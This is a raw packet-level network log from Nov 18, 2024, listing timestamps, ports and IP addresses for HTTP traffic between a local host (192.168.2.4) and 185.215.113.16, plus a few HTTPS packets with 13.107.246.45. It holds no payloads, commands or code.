Nov 18, 2024 21:04:08.910300016 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.910319090 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.910331964 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.910362959 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.910375118 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.910382986 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.910417080 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.910429955 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.910449982 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.910473108 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.910485029 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.910509109 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.910517931 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.910543919 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.910552025 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.910571098 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.910584927 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.910621881 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.910628080 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.910628080 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.910682917 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.910720110 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.910752058 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.910772085 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.910785913 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.910804033 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.910820007 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.910836935 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.910872936 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.910873890 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.910906076 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.910916090 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.910959959 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.910974026 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.911007881 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.911057949 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.911091089 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.911128044 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.911133051 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.911133051 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.911226034 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.911237955 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.911273003 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.911318064 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.911318064 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.911442041 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.911498070 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.911673069 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.911705971 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.911739111 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.911741018 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.911773920 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.911786079 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.911786079 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.911807060 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.911823034 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.911859989 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.911863089 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.911894083 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.911917925 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.911927938 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.911940098 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.911962032 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.912002087 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.912002087 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.923531055 CET	443	49791	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.924115896 CET	49791	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.924140930 CET	443	49791	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.924513102 CET	49791	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.924518108 CET	443	49791	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.939656973 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.939687967 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.939743996 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.939773083 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.939827919 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.939862013 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.939876080 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.939876080 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.939876080 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.939876080 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.939902067 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.939918041 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.939948082 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.939960957 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.939960957 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.939984083 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.939994097 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.940017939 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.940036058 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.940069914 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.940078020 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.940107107 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.940129042 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.940143108 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.940157890 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.940191031 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.940197945 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.940234900 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.940249920 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.940285921 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.940325975 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.940325975 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.940340996 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.940370083 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.940403938 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.940403938 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.940438032 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.940491915 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.940511942 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.940521955 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.940547943 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.940562010 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.940586090 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.940596104 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.940618038 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.940629959 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.940665007 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.940670967 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.940670967 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.940696955 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.940726995 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.940732002 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.940754890 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.940784931 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.940805912 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.940821886 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.940854073 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.940854073 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.940871954 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.940888882 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.940901041 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.940924883 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.940953970 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.940963030 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.940999985 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.941015959 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.941015959 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.941035032 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.941035986 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.941070080 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.941114902 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.941114902 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.941123009 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.941179037 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.941267014 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.941318989 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.941319942 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.941353083 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.941387892 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.941392899 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.941394091 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.941421986 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.941456079 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.941456079 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.941490889 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.941544056 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.941570997 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.941576958 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.941603899 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.941632032 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.941633940 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.941665888 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.941688061 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.941699982 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.941736937 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.941740036 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.941740036 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.941788912 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.941790104 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.941822052 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.941838026 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.941857100 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.941900969 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.941900969 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.941909075 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.941942930 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.941963911 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.941977024 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.942013025 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.942025900 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.942025900 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.942040920 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.942049026 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.942131042 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.948230982 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.948285103 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.948326111 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.948338985 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.948338985 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.948373079 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.948379040 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.948412895 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.948446989 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.948456049 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.948456049 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.948503971 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.948538065 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.948544979 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.948574066 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.948579073 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.948579073 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.948623896 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.948659897 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.948673010 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.948673010 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.948693037 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.948710918 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.948728085 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.948756933 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.948762894 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.948776960 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.948801994 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.948836088 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.948836088 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.948848963 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.948872089 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.948904991 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.948939085 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.948952913 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.948966980 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.948966980 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.948972940 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.948975086 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.949012995 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.949049950 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.949095011 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.949101925 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.949135065 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.949151039 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.949168921 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.949204922 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.949208975 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.949208975 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.949239969 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.949284077 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.949284077 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.949291945 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.949326038 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.949378967 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.949399948 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.949399948 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.949413061 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.949449062 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.949460030 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.949460030 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.949501038 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.949537039 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.949537992 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.949551105 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.949588060 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.949596882 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.949636936 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.949656010 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.949675083 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.949708939 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.949714899 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.949728966 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.949742079 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.949775934 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.949809074 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.949831963 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.949831963 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.949831963 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.949843884 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.949877977 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.949882030 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.949882030 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.949913025 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.949942112 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.949954987 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.949954987 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.949992895 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.030127048 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.030179024 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.030242920 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.030292034 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.030327082 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.030335903 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.030360937 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.030410051 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.030410051 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.030415058 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.030447960 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.030476093 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.030486107 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.030507088 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.030550003 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.030553102 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.030589104 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.030622959 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.030627012 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.030627012 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.030677080 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.030678988 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.030728102 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.030736923 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.030761003 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.030792952 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.030793905 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.030812025 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.030827999 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.030836105 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.030863047 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.030884027 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.030900002 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.030901909 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.030931950 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.030965090 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.030966043 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.030996084 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031014919 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031049013 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031052113 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031065941 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031080961 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031114101 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031116962 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031158924 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031158924 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031166077 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031199932 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031222105 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031234026 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031239033 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031280994 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031284094 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031335115 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031335115 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031368971 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031389952 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031404018 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031438112 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031441927 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031441927 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031478882 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031500101 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031512976 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031538963 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031543970 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031565905 CET	49786	80	192.168.2.4	185.215.113.16
